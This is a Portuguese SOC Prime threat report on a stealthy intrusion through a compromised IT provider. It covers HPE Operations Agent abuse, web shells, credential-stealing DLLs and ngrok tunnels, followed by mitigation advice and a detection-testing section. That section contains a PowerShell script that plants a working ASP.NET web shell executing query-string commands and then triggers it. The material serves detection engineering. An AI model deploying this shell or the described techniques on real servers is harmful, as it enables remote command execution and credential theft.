SOC Prime Bias: Crítico

18 May 2026 18:27 UTC

Investigando uma Intrusão Discreta por Comprometimento de Terceiros

Author Photo
SOC Prime Team linkedin icon Seguir
Investigando uma Intrusão Discreta por Comprometimento de Terceiros
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O relatório examina uma intrusão furtiva na qual agentes de ameaça comprometeram um provedor de serviços de TI terceirizado e, em seguida, abusaram do legítimo HPE Operations Agent para implantar web shells, DLLs de roubo de credenciais e utilitários de tunelamento. Ao depender de software de gestão confiável em vez de exploração ruidosa, os atacantes conseguiram manter acesso a longo prazo enquanto minimizavam sinais óbvios de comprometimento.

Investigação

A Microsoft Incident Response rastreou a atividade desde a implantação inicial do web shell em servidores voltados para a internet até a execução de VBScript através do HPE Operations Agent. A investigação então descobriu o registro de provedores de rede maliciosos e DLLs de filtro de senha em controladores de domínio, seguido pelo reaproveitamento de credenciais colhidas e o uso de túneis ngrok para suportar movimento lateral pelo ambiente.

Mitigação

As defesas recomendadas incluem reduzir e controlar rigorosamente o acesso terceiro confiável, monitorar registros não autorizados de DLLs em pacotes de notificação LSA, detectar mudanças suspeitas de web shell, impor filtragem estrita de saída e garantir cobertura EDR em todos os endpoints.

Resposta

Se essa atividade for detectada, isole os sistemas comprometidos, remova as DLLs e web shells maliciosos, revogue quaisquer credenciais roubadas, desative provedores de rede não autorizados e procure por movimento lateral usando os artefatos coletados.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#e6e6e6 classDef malware fill:#ff9999 %% Nodes u2013 Initial Access action_initial_trusted["<b>Ação</b> – <b>T1199 Relacionamento Confiável</b><br/>Comprometa o provedor de serviços de TI terceirizado e utilize o HPE Operations Agent confiável para executar código malicioso."] class action_initial_trusted action tool_hpe_oa["<b>Ferramenta</b> – <b>Nome</b>: HPE Operations Agent (OA)<br/><b>Propósito</b>: Agente legítimo usado para executar scripts em servidores alvo."] class tool_hpe_oa tool %% Nodes u2013 Execution action_execution_vbscript["<b>Ação</b> – Execução de VBScript (T1059.005)<br/>Execute <i>abc003.vbs</i> para descoberta de sistema, rede e AD."] class action_execution_vbscript action file_abc003["<b>Arquivo</b> – <b>Nome</b>: abc003.vbs<br/><b>Tipo</b>: Script Visual Basic"] class file_abc003 file %% Nodes u2013 Persistence (Web Shell) action_persistence_webshell["<b>Ação</b> – <b>T1505.003 Componente de Software de Servidor: Web Shell</b><br/>Implante os web shells <i>Errors.aspx</i> e <i>Signoff.aspx</i> em servidores voltados para a internet."] class action_persistence_webshell action file_errors["<b>Arquivo</b> – <b>Nome</b>: Errors.aspx<br/><b>Função</b>: Web shell de execução remota de comandos."] class file_errors file file_signoff["<b>Arquivo</b> – <b>Nome</b>: Signoff.aspx<br/><b>Função</b>: Web shell de execução remota de comandos."] class file_signoff file %% Nodes u2013 Persistence (Network Provider DLL) action_persistence_np_dll["<b>Ação</b> – <b>T1556.008 DLL de Provedor de Rede</b><br/>Registre a DLL maliciosa <i>mslogon.dll</i> em controladores de domínio para capturar credenciais em texto claro."] class action_persistence_np_dll action file_mslogon["<b>Arquivo</b> – <b>Nome</b>: mslogon.dll<br/><b>Localização</b>: C:UsersPublicMusicabc123c.d"] class file_mslogon file %% Nodes u2013 Persistence (Password Filter DLL) action_persistence_passdll["<b>Ação</b> – <b>T1556.002 DLL de Filtro de Senha</b><br/>Adicione <i>passms.dll</i> como pacote de notificação LSA em DC01/DC02 para interceptar mudanças de senha."] class action_persistence_passdll action file_passms["<b>Arquivo</b> – <b>Nome</b>: passms.dll<br/><b>Localização</b>: C:ProgramDataWindowsUpdateServiceUpdateDirIpd"] class file_passms file %% Nodes u2013 Credential Access (Files) action_cred_in_files["<b>Ação</b> – <b>T1552.001 Credenciais em Arquivos</b><br/>Armazene credenciais colhidas em arquivos em texto claro ou codificados no disco."] class action_cred_in_files action %% Nodes u2013 Credential Access (OS Dumping) action_os_credential_dump["<b>Ação</b> – <b>T1003 Despejo de Credenciais do OS</b><br/>Intercepção baseada em DLL permite despejo de credenciais sem ferramentas externas."] class action_os_credential_dump action %% Nodes u2013 Lateral Movement (Valid Accounts) action_lateral_local["<b>Ação</b> – <b>T1078.003 Contas Válidas: Contas Locais</b><br/>Reutilize credenciais colhidas para autenticar via RDP e SMB."] class action_lateral_local action %% Nodes u2013 Lateral Movement (Remote Services) action_lateral_remote["<b>Ação</b> – <b>T1021 Serviços Remotos</b><br/>Estabeleça sessões RDP sobre túneis criptografados ngrok para mover-se lateralmente."] class action_lateral_remote action %% Nodes u2013 Command & Control (Proxy) action_c2_proxy["<b>Ação</b> – <b>T1090 Proxy</b><br/>Implante ngrok como proxy de múltiplos saltos para criar canais C2 encobertos."] class action_c2_proxy action tool_ngrok["<b>Ferramenta</b> – <b>Nome</b>: ngrok<br/><b>Propósito</b>: Criar túneis TCP/HTTPS para tunelamento de tráfego."] class tool_ngrok tool %% Nodes u2013 Command & Control (Protocol Tunneling) action_c2_tunnel["<b>Ação</b> – <b>T1572 Tunelamento de Protocolo</b><br/>Encapsule o tráfego C2 dentro de túneis ngrok para evadir a detecção."] class action_c2_tunnel action %% Nodes u2013 Collection (Network Shared Drive) action_collection_share["<b>Ação</b> – <b>T1039 Dados de Unidade de Rede Compartilhada</b><br/>Estágio de arquivos de credenciais codificados em compartilhamentos remotos SMB antes da exfiltração."] class action_collection_share action %% Nodes u2013 Defense Evasion (DLL Hijack) action_defense_dll["<b>Ação</b> – <b>T1574.001 Seqüestro de Fluxo de Execução: DLL</b><br/><i>msupdate.dll</i> exfiltra dados via SMTP e SMB, disfarçados como arquivos de imagem."] class action_defense_dll action file_msupdate["<b>Arquivo</b> – <b>Nome</b>: msupdate.dll<br/><b>Carga</b>: Dados codificados enviados como icon02.jpeg."] class file_msupdate file %% Nodes u2013 Persistence (Winlogon Helper DLL) action_persistence_winlogon["<b>Ação</b> – <b>T1547.004 DLL de Assistente de Winlogon</b><br/>Registre <i>mslogon.dll</i> como assistente de Winlogon para garantir execução no logon."] class action_persistence_winlogon action %% Connections u2013 Attack Flow action_initial_trusted –>|uses| tool_hpe_oa tool_hpe_oa –>|executes| action_execution_vbscript action_execution_vbscript –>|runs| file_abc003 action_execution_vbscript –>|leads to| action_persistence_webshell action_persistence_webshell –>|creates| file_errors action_persistence_webshell –>|creates| file_signoff action_persistence_webshell –>|enables| action_persistence_np_dll action_persistence_np_dll –>|installs| file_mslogon action_persistence_np_dll –>|enables| action_persistence_passdll action_persistence_passdll –>|installs| file_passms action_persistence_passdll –>|stores| action_cred_in_files action_cred_in_files –>|provides data for| action_os_credential_dump action_os_credential_dump –>|enables| action_lateral_local action_lateral_local –>|uses| action_lateral_remote action_lateral_remote –>|utilizes| tool_ngrok tool_ngrok –>|facilitates| action_c2_proxy action_c2_proxy –>|enables| action_c2_tunnel action_c2_tunnel –>|supports| action_collection_share action_collection_share –>|provides files for| action_defense_dll action_defense_dll –>|uses| file_msupdate action_defense_dll –>|supports| action_persistence_winlogon action_persistence_winlogon –>|relies on| file_mslogon %% Styling class action_initial_trusted,action_execution_vbscript,action_persistence_webshell,action_persistence_np_dll,action_persistence_passdll,action_cred_in_files,action_os_credential_dump,action_lateral_local,action_lateral_remote,action_c2_proxy,action_c2_tunnel,action_collection_share,action_defense_dll,action_persistence_winlogon action class tool_hpe_oa,tool_ngrok tool class file_abc003,file_errors,file_signoff,file_mslogon,file_passms,file_msupdate file "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Verificação de Telemetria & Padrão Pré-voo deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (T1199) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa & Comandos de Ataque:

    1. Comprometimento Inicial: O atacante ganha acesso de gravação ao diretório raiz da web (por exemplo, através de uma credencial roubada ou ponto de upload vulnerável).
    2. Implantação de Web-Shell: Eles carregam um web‑shell ASP.NET malicioso chamado Errors.aspx (ou modificam um existente Signoff.aspx) que executa comandos arbitrários de PowerShell fornecidos via string de consulta.
    3. Disparo do Shell: O atacante envia uma solicitação HTTP GET para o shell com uma carga útil de PowerShell no cmd parâmetro, por exemplo, https://corp.example.com/Errors.aspx?cmd=whoami. Esta solicitação é registrada pelo IIS, produzindo um cs-uri-stem valor de /Errors.aspx – exatamente aquilo que a regra Sigma corresponde.
  • Script de Teste de Regressão: O script reproduz os passos 2‑3 (o upload é simulado copiando um arquivo pré‑criado para o diretório raiz da web; o disparo é realizado via Invoke-WebRequest).

    # -------------------------------------------------
    # Script de Simulação de Web‑Shell – Windows Server/IIS
    # -------------------------------------------------
    param (
        [string]$WebRoot = "C:inetpubwwwroot",
        [string]$ShellName = "Errors.aspx",
        [string]$Payload = "whoami"
    )
    
    # 1. Desenvolva um web‑shell ASP.NET simples (mínimo para teste)
    $shellContent = @"
    <%@ Page Language="C#" %>
    <% 
    string cmd = Request.QueryString["cmd"];
    if (!String.IsNullOrEmpty(cmd)) {
        System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
    }
    %>
    "@
    
    $shellPath = Join-Path $WebRoot $ShellName
    Set-Content -Path $shellPath -Value $shellContent -Encoding UTF8 -Force
    
    Write-Host "[+] Web‑shell implantado em $shellPath"
    
    # 2. Dê um momento ao servidor web para registrar o novo arquivo
    Start-Sleep -Seconds 2
    
    # 3. Invoque o web‑shell para gerar a entrada de log que aciona a detecção
    $uri = "http://localhost/$ShellName?cmd=$Payload"
    Invoke-WebRequest -Uri $uri -UseBasicParsing | Out-Null
    
    Write-Host "[+] Web‑shell acionado via $uri"
    # -------------------------------------------------
  • Comandos de Limpeza: Remova o web‑shell de teste e quaisquer arquivos residuais.

    # Script de Limpeza – remova o web‑shell simulado
    param (
        [string]$WebRoot = "C:inetpubwwwroot",
        [string]$ShellName = "Errors.aspx"
    )
    $shellPath = Join-Path $WebRoot $ShellName
    if (Test-Path $shellPath) {
        Remove-Item -Path $shellPath -Force
        Write-Host "[+] $shellPath removido"
    } else {
        Write-Host "[-] Arquivo de shell não encontrado; nada para limpar."
    }